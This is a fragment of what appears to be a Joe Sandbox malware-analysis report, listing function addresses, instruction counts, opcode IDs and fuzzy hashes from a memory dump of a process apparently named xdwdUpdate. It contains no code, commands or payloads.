                                                                                                                                                                            • Instruction ID: 1697a0c7e7f4e0720808ff00cdde3d503778aca8ec1577d268a2898833181647
                                                                                                                                                                            • Opcode Fuzzy Hash: 50ad7b71f2073776de9c4ce8c885f70b2dfa7ad7e063114617f1d15c9e3e9a0c
                                                                                                                                                                            • Instruction Fuzzy Hash: 81018429A68C8E4FA654FB1D94101FEB392FBD8321B540677E92DC31A5EE25A9138381
                                                                                                                                                                            Function 00007FFE6F7CBF41 Relevance: .1, Instructions: 56COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: e15d13ad3ef42f4877e4a3b7dceb2b6b844a52958b24bd52251095330e35abf7
                                                                                                                                                                            • Instruction ID: 5bb8d32400de3cfbe139ce5079e76a339bfbab920fe6eca0c0aba90272768f99
                                                                                                                                                                            • Opcode Fuzzy Hash: e15d13ad3ef42f4877e4a3b7dceb2b6b844a52958b24bd52251095330e35abf7
                                                                                                                                                                            • Instruction Fuzzy Hash: A901D62AD3E99D4EF720036878A90F877D0DF55321F5941B2E80C872E5F81E3C420286
                                                                                                                                                                            Function 00007FFE6F7CCAA7 Relevance: .1, Instructions: 55COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 911dbd4a38bae238e7eb7b8c0bd94cf51742ae253903f985351cf13e8a3775e7
                                                                                                                                                                            • Instruction ID: 90b63167ca2b28e07da354a1e52d885bdbbed7a603d0880093205c8c5741f083
                                                                                                                                                                            • Opcode Fuzzy Hash: 911dbd4a38bae238e7eb7b8c0bd94cf51742ae253903f985351cf13e8a3775e7
                                                                                                                                                                            • Instruction Fuzzy Hash: 7B11E015C3E2EF8EFBB0A768A0596F476904F10321F0600B2D85CAB5E2FA5C7CC14382
                                                                                                                                                                            Function 00007FFE6F7C24DD Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 31879ca929b37118e15a99603d0dbd0cd1e06bdec2ae38b8a8a4fe5af6dd1484
                                                                                                                                                                            • Instruction ID: 50ba9ec607495765700f9bf59950f0a01a368b94c3424cdda3f7ada5e7b976b1
                                                                                                                                                                            • Opcode Fuzzy Hash: 31879ca929b37118e15a99603d0dbd0cd1e06bdec2ae38b8a8a4fe5af6dd1484
                                                                                                                                                                            • Instruction Fuzzy Hash: 9C014C16E3D48F8AFB606B68E4253FE6142AF90315F9515B4E00E872E6FD2CB9528681
                                                                                                                                                                            Function 00007FFE6F7CE242 Relevance: .0, Instructions: 46COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a7db74cb453e2fde4b6697273cff01449827ef016b6c2c23875f971bae91c65d
                                                                                                                                                                            • Instruction ID: c7a353b0bc718da55d4af3ff8c1630a1271381e61493c007b48c6962085fc2a7
                                                                                                                                                                            • Opcode Fuzzy Hash: a7db74cb453e2fde4b6697273cff01449827ef016b6c2c23875f971bae91c65d
                                                                                                                                                                            • Instruction Fuzzy Hash: DD01F705C1E7D94FEB62136498253E87FA05F53224F4A45FBD4C9AB4E3E80D6C8A8362
                                                                                                                                                                            Function 00007FFE6F7CAD3C Relevance: .0, Instructions: 42COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: c41c2d1125b4fece0fab85fdd60a56104e23dd5ecd211ab04299e5df06111649
                                                                                                                                                                            • Instruction ID: 5c4425fe5bbcd2edf034bfb6dd166867a32ddab0197272fb8924a60728af60c7
                                                                                                                                                                            • Opcode Fuzzy Hash: c41c2d1125b4fece0fab85fdd60a56104e23dd5ecd211ab04299e5df06111649
                                                                                                                                                                            • Instruction Fuzzy Hash: 62F04430E35A1D8FE794FB2894552FC72E2EF5C701B400079E40DD72A6DE28AC418340
                                                                                                                                                                            Function 00007FFE6F7C36EA Relevance: .0, Instructions: 41COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 183c9262e0ed69060914a70924f09e2db280bd5627de9f0e696f2912a53cd460
                                                                                                                                                                            • Instruction ID: 27d2ec84b54ddeda9c5f5a0e3d5006f8404dbccd7680a06b8cb4241ee1ad3464
                                                                                                                                                                            • Opcode Fuzzy Hash: 183c9262e0ed69060914a70924f09e2db280bd5627de9f0e696f2912a53cd460
                                                                                                                                                                            • Instruction Fuzzy Hash: 5EF03026E3657D8EFAE4673990856F961C1AB4D370F851475D80DD72E2ED2D7C820780
                                                                                                                                                                            Function 00007FFE6F7CDCDC Relevance: .0, Instructions: 40COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 01b672265d41043ad8d0ec7602c4792eaaa14bb01373e677db01fba3321fcba3
                                                                                                                                                                            • Instruction ID: a65529732ecdb3aafa7e190a32f294a296b2021072b53210975c0c974cf5b5c7
                                                                                                                                                                            • Opcode Fuzzy Hash: 01b672265d41043ad8d0ec7602c4792eaaa14bb01373e677db01fba3321fcba3
                                                                                                                                                                            • Instruction Fuzzy Hash: 07F0823ABA888D8B9A54EA1DA4011FD7795FBD4265B000277E92CC3160EF25691683C1
                                                                                                                                                                            Function 00007FFE6F7C3718 Relevance: .0, Instructions: 38COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: a02d2c6bce0aedf68b045ab3ff825bdb26896a65034b81d4f3b49be5ea3e0ecc
                                                                                                                                                                            • Instruction ID: d1506a063c5ed65190e71daef7cecb6cfa576bbe137215834686f551c6b0d24e
                                                                                                                                                                            • Opcode Fuzzy Hash: a02d2c6bce0aedf68b045ab3ff825bdb26896a65034b81d4f3b49be5ea3e0ecc
                                                                                                                                                                            • Instruction Fuzzy Hash: 07F05E26E3A56D4EFBA4672994452F822819B892B0F450576E80DD72E6FC1D6C820780
                                                                                                                                                                            Function 00007FFE6F7C4978 Relevance: .0, Instructions: 36COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 9c77cf293524dc9fea805acd8e9e1a1b34a431f87471f3f57fefed8bfd8a7ae9
                                                                                                                                                                            • Instruction ID: 0e07c8cdd4381a10dea5b08f19aa149f7b29280632f73229b30acb7750a90fed
                                                                                                                                                                            • Opcode Fuzzy Hash: 9c77cf293524dc9fea805acd8e9e1a1b34a431f87471f3f57fefed8bfd8a7ae9
                                                                                                                                                                            • Instruction Fuzzy Hash: 11E06D05A3EC6F5EF564232964486F97081EB99362F940435E40ED21E6FC0CBC815286
                                                                                                                                                                            Function 00007FFE6F7C9E58 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 78137f825ade173f71e32bd2a775b1f7ade53045eac14d8a37bd658d999aecf3
                                                                                                                                                                            • Instruction ID: 270a7295916f53299252ca473a338c6f2b1101f12896a35a7640fa1f68b4f981
                                                                                                                                                                            • Opcode Fuzzy Hash: 78137f825ade173f71e32bd2a775b1f7ade53045eac14d8a37bd658d999aecf3
                                                                                                                                                                            • Instruction Fuzzy Hash: EDF0EC2192D5DD4FD761971CD4914D47FF0EF6931070500F6D489C71B2E518AC818342
                                                                                                                                                                            Function 00007FFE6F7C4970 Relevance: .0, Instructions: 34COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 233b16a507bd17c71424a1a4150a615bf951d89b1f81481374b6aaddcc8c2603
                                                                                                                                                                            • Instruction ID: db8e1c278951c7f40f1fc272f0ee8abb6c32210c4765bceee935a3601328f244
                                                                                                                                                                            • Opcode Fuzzy Hash: 233b16a507bd17c71424a1a4150a615bf951d89b1f81481374b6aaddcc8c2603
                                                                                                                                                                            • Instruction Fuzzy Hash: 98E06D24E3F89F5EBAA8621964506F92081DFAC310F94003AE50ED22E4FC4C7C820396
                                                                                                                                                                            Function 00007FFE6F7C8D80 Relevance: .0, Instructions: 33COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 1994168b9ffe252b3a7d9f17ac4cce1a1cd151d2cd96e75b36258affd44a3031
                                                                                                                                                                            • Instruction ID: b778fd450b83845f5098ae5c75616bc92db667f777bf4696404292db37d4daa7
                                                                                                                                                                            • Opcode Fuzzy Hash: 1994168b9ffe252b3a7d9f17ac4cce1a1cd151d2cd96e75b36258affd44a3031
                                                                                                                                                                            • Instruction Fuzzy Hash: 12F0E210E2F9CF4EF646A73820610FD3A929F65310B88407ED948861E3FD1C68448386
                                                                                                                                                                            Function 00007FFE6F7C8DB8 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: cc9dc044c8cedb106a7479b36d38db51d0f688d2d4cdfe3af006767e42876144
                                                                                                                                                                            • Instruction ID: 6ac0520a4ac31a7d9d9af8c5c1c194734d33e296ebfb13fab4f88e11a22abf29
                                                                                                                                                                            • Opcode Fuzzy Hash: cc9dc044c8cedb106a7479b36d38db51d0f688d2d4cdfe3af006767e42876144
                                                                                                                                                                            • Instruction Fuzzy Hash: 3CE06D15E3ECDF4EA699632824512F83591EFA8210B980039D909C22D1FD5868454386
                                                                                                                                                                            Function 00007FFE6F7CD3AF Relevance: .0, Instructions: 31COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 3ceff31a1a1eabe5b4bcd417588674ec001206fd262fea48a24ae2de03fc256b
                                                                                                                                                                            • Instruction ID: 2fa2f32a32be0061aed6f6084be793c885a765cc0f375cdaf9c1854d9e422242
                                                                                                                                                                            • Opcode Fuzzy Hash: 3ceff31a1a1eabe5b4bcd417588674ec001206fd262fea48a24ae2de03fc256b
                                                                                                                                                                            • Instruction Fuzzy Hash: F1E0263329A84C5BDA006987BC404C6775CF6C53B9B010337E92CC3040E26792A68391
                                                                                                                                                                            Function 00007FFE6F7C4A78 Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 491ea385785edfb73b630a7a038b4301a5baa44a3f2217013d2486b03241df1f
                                                                                                                                                                            • Instruction ID: 4cf96fa602ce6df0e24b807984ee5f448d08d32d7f3a00f5fcbe9f7ce9ee61a7
                                                                                                                                                                            • Opcode Fuzzy Hash: 491ea385785edfb73b630a7a038b4301a5baa44a3f2217013d2486b03241df1f
                                                                                                                                                                            • Instruction Fuzzy Hash: A6E0123193989D8FEAB4A75CD1845F8B5E0EF79314F1500B1E44DC71A5EA18BC814746
                                                                                                                                                                            Function 00007FFE6F7CD547 Relevance: .0, Instructions: 27COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 63ebd211ae96f74dba728082df21eac7b40b30bdc8350e8de07b4bff45a290ab
                                                                                                                                                                            • Instruction ID: 9613223c6e4357285cd4887222a930f64d95713cbb2dc4ec16f335621e7abb50
                                                                                                                                                                            • Opcode Fuzzy Hash: 63ebd211ae96f74dba728082df21eac7b40b30bdc8350e8de07b4bff45a290ab
                                                                                                                                                                            • Instruction Fuzzy Hash: F0E02B3B25481C0BC700BE9AFC014D6B798F5C1339B010377ED2CC7180D36682A643D1
                                                                                                                                                                            Function 00007FFE6F7CC93E Relevance: .0, Instructions: 23COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 10490ede15f8401d9479046a40f19fd0acb0e4d2dfe81b45f2650d0546304013
                                                                                                                                                                            • Instruction ID: 03c471546bc1d4dfd3b786bd04463531a4091edf49613c571e729f6075c0559e
                                                                                                                                                                            • Opcode Fuzzy Hash: 10490ede15f8401d9479046a40f19fd0acb0e4d2dfe81b45f2650d0546304013
                                                                                                                                                                            • Instruction Fuzzy Hash: 16E0EC34A36D7D8FA2E5E72840192B4A1D2EB9C25179441B9980DD32A2ED24EC424744
                                                                                                                                                                            Function 00007FFE6F7C9E08 Relevance: .0, Instructions: 22COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 6b0756ef8e1bdcfdb0eae80f70a95867096a5892bb4d9e9ae1022af174b1fed8
                                                                                                                                                                            • Instruction ID: dfa850bd476d8b2f07906ad7b4d2fd49b7e2de6721287af995a6d2a638fe04ff
                                                                                                                                                                            • Opcode Fuzzy Hash: 6b0756ef8e1bdcfdb0eae80f70a95867096a5892bb4d9e9ae1022af174b1fed8
                                                                                                                                                                            • Instruction Fuzzy Hash: A2E0EC31A258DE8FEAA0AB4CD1945E876E0EF79314F1504B1E44DC72B6EB69EC814742
                                                                                                                                                                            Function 00007FFE6F7CC1BA Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 2fb18e8abee491c630320bfe32767fe6fe5f74546d3a6240d15001e2f4026a7c
                                                                                                                                                                            • Instruction ID: 5880815cc37fec9c655348eac53e959ad95c6c90c29742141c5147b70100a184
                                                                                                                                                                            • Opcode Fuzzy Hash: 2fb18e8abee491c630320bfe32767fe6fe5f74546d3a6240d15001e2f4026a7c
                                                                                                                                                                            • Instruction Fuzzy Hash: C9D02E3062A98CCEDB40ABA884093FD7360FF48322F80003AC00BD21C1CA79D494C380
                                                                                                                                                                            Function 00007FFE6F7CC900 Relevance: .0, Instructions: 18COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0eb8922ef0b800e277456b5a7b9519cac2394bcc356ce4317b81d3fefa3facb9
                                                                                                                                                                            • Instruction ID: e083e6fc454b78c022c894ba6e4f1f5d8a4f8a97fdb79a4f01390f85403ab5d0
                                                                                                                                                                            • Opcode Fuzzy Hash: 0eb8922ef0b800e277456b5a7b9519cac2394bcc356ce4317b81d3fefa3facb9
                                                                                                                                                                            • Instruction Fuzzy Hash: 55D0E914B39C9D8E66D9B32C105A3BD50C39BDD211B5445BAE50EC72A6ED2868431241
                                                                                                                                                                            Function 00007FFE6F7C9E46 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 0a3488955b42fc7d9e48555e797ccdc7b4f1bb429efa07cfecb7129218c290d1
                                                                                                                                                                            • Instruction ID: c6499c1866eeabe686cd3c5405abb9e98077a764610a60384389d9e4152d807d
                                                                                                                                                                            • Opcode Fuzzy Hash: 0a3488955b42fc7d9e48555e797ccdc7b4f1bb429efa07cfecb7129218c290d1
                                                                                                                                                                            • Instruction Fuzzy Hash: 69D0C93561090C8FD690EB88E484AA53BE1EF692113120092E04DC7264D666EC818741
                                                                                                                                                                            Function 00007FFE6F7C98D0 Relevance: .0, Instructions: 17COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: fd863b1e489769e48ed580a7df187310e8f4417b04e2cdca72471004d6f2b586
                                                                                                                                                                            • Instruction ID: 84cf9544f6b29090994ea2db70cc0a376d2b2032bb86288fafc42625861bee6e
                                                                                                                                                                            • Opcode Fuzzy Hash: fd863b1e489769e48ed580a7df187310e8f4417b04e2cdca72471004d6f2b586
                                                                                                                                                                            • Instruction Fuzzy Hash: 91D01224C9984F45EB08BBA484016EDB5A0DF50224F08407C940C92576DA6C7192C641
                                                                                                                                                                            Function 00007FFE6F7C882D Relevance: .0, Instructions: 16COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: edcbb464d52c9dffb6dda03a743b79f7ae7271c74d001d741d388d766aa2f919
                                                                                                                                                                            • Instruction ID: a00ad6548f7056869f23dce5a659d41ff29b45f29cf04cd599d4699946d324df
                                                                                                                                                                            • Opcode Fuzzy Hash: edcbb464d52c9dffb6dda03a743b79f7ae7271c74d001d741d388d766aa2f919
                                                                                                                                                                            • Instruction Fuzzy Hash: AFD0122171890D5F5640FA1C9489AFE73C3E7EC651B24453AD40DC3274EF30E9478382
                                                                                                                                                                            Function 00007FFE6F7C852E Relevance: .0, Instructions: 15COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: ca84ad28471e07ba89171ccfc269e2563cf54fc29e07be3afda8ef58166959c5
                                                                                                                                                                            • Instruction ID: a41283b392e39b894906482408fedeaf0e1d34fb6dc9ee36e51f20a8f56a8108
                                                                                                                                                                            • Opcode Fuzzy Hash: ca84ad28471e07ba89171ccfc269e2563cf54fc29e07be3afda8ef58166959c5
                                                                                                                                                                            • Instruction Fuzzy Hash: D7D0223062B30C8DEB282B3828010EC36A08F00261F9004BEF804CA1A3E82EC0C18300
                                                                                                                                                                            Function 00007FFE6F7CB595 Relevance: .0, Instructions: 9COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000019.00000002.2827376181.00007FFE6F7C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFE6F7C0000, based on PE: false
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_25_2_7ffe6f7c0000_xdwdUpdate.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID:
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID:
                                                                                                                                                                            • Opcode ID: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction ID: d6ac9ceada749f4cf1c0b9ba46e940d6ca9c0cfea73a635362377ed0e5ece2e4
                                                                                                                                                                            • Opcode Fuzzy Hash: 68aa29651a8d15f880a10523208dedef2355871427557606aed191a24c88c89a
                                                                                                                                                                            • Instruction Fuzzy Hash: 85B0921223590C5E9348E319845A5E97290EB6C219B40093AA88AC21A1FC00AA928345

                                                                                                                                                                            Non-executed Functions

